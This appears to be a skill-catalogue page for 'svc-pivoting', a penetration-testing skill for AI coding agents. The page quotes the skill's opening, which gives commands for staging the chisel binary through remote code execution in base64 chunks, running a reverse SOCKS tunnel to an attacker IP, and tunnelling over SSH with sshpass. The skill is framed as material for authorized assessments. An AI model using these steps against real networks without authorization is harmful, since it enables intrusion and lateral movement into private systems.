svc-pivoting

svc-pivoting is a skill for Claude Code, Codex from s0ld13rr/pentestcode. It costs 103 tokens per session (1,107 once invoked), scanned A, original, MIT.

A guide to pivoting: using a compromised computer as a controlled network path to systems that your own computer cannot reach. It explains reliable tunnels and routes through an edge or dual-homed host.

In plain words
What is it for?
Reaching private network ranges through a foothold, setting up SOCKS tunnels or routed connections, and supporting internal scanning and testing.
Why use it?
A temporary command session can be slow, fragile, or unable to carry network traffic reliably. Pivoting provides a steadier way to inspect an internal network during an authorized assessment.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Reaching private network ranges through a foothold, setting up SOCKS tunnels or routed connections, and supporting internal scanning and testing.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/s0ld13rr/pentestcode/pivoting
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add s0ld13rr/pentestcode --skill pivoting
Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for svc-pivoting

README.md
[![agentmods](https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/pivoting/github.svg)](https://agentmods.dev/skills/s0ld13rr/pentestcode/pivoting)
Your own site
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/pivoting"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/pivoting/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for svc-pivoting

Your own site · 80×15
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/pivoting"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/pivoting.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 103 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,107 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 43
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00103 $0.01107
Opus 5.5 $0.00041 $0.00443
Sonnet 5.5 $0.00021 $0.00221
Haiku 4.5 $0.00010 $0.00111

Measured 1mo ago against content hash f9e83fced590, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

svc-pivoting scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

An egress-restricted / curl-less foothold whose RCE truncates output CANNOT `wget` chisel. Stage it base64-chunked:
skills/services/pivoting/SKILL.md · 58 lines

How it starts

The opening of the file, as written. The whole thing — 58 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Pivoting — reliable SOCKS + persistent shell

When this fires

You have code-exec on a host that can reach an internal segment your attacker box cannot (dual-homed edge host, DMZ box). STOP routing volume through the stateless RCE — its output truncates and one wave of concurrent requests can kill it. Stand up a persistent tunnel FIRST, register it, then route all internal scans/exploits through it. Use tunnel_manage action:plan to generate the filled-in recipe; this skill is the methodology + the fallbacks.

Decide the tunnel type

  • ssh -D (dynamic SOCKS) — you have SSH creds/key on the foothold. Simplest, no binary to land. First choice when SSH works.
  • chisel reverse SOCKS — no SSH, but you can exec + reach your attacker IP outbound. Land one static binary, get a full SOCKS5. Default for a web/RCE foothold.
  • ligolo-ng — you need a full route (not just SOCKS) or nested/multi-hop pivots. Route-based (tun iface), cleanest for deep internal work.
  • Reverse shell alone is NOT a pivot — it gives exec, not network reach. Convert to one of the above for internal scanning.

Land the binary through a constrained RCE (the make-or-break)

An egress-restricted / curl-less foothold whose RCE truncates output CANNOT wget chisel. Stage it base64-chunked:

# attacker: fetch static binary (match arch), chunk it single-line-safe
curl -fsSL https://github.com/jpillora/chisel/releases/latest/download/chisel_<ver>_linux_amd64.gz | gunzip > chisel
split -b 2000 <(base64 -w0 chisel) /tmp/ch_
# push each chunk THROUGH the RCE (append; order matters), then reassemble on target:
for f in /tmp/ch_*; do <RCE> "echo -n $(cat "$f") >> /tmp/chisel.b64"; done
<RCE> "base64 -d /tmp/chisel.b64 > /tmp/chisel && chmod +x /tmp/chisel && /tmp/chisel --version"
# node-only foothold (no base64/coreutils): Buffer.from(fs.readFileSync('/tmp/chisel.b64','utf8'),'base64')

Stand it up

# chisel reverse SOCKS — attacker side:
chisel server --reverse --port 8000 --socks5
# foothold side (after staging):
/tmp/chisel client <ATTACKER_IP>:8000 R:9050:socks &
# ssh dynamic SOCKS (if you have creds):
sshpass -p '<pw>' ssh -D 9050 <user>@<foothold> -N -f      # or -i key

Read the full file on GitHub · 58 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 58 lines · 103 tokens per session scan A f9e83fced590

Subscribe to this mod's changes

svc-pivoting is a skill published in the GitHub repository s0ld13rr/pentestcode (851 stars, last pushed 15d ago), licensed MIT. It adds 103 tokens to every session and 1,107 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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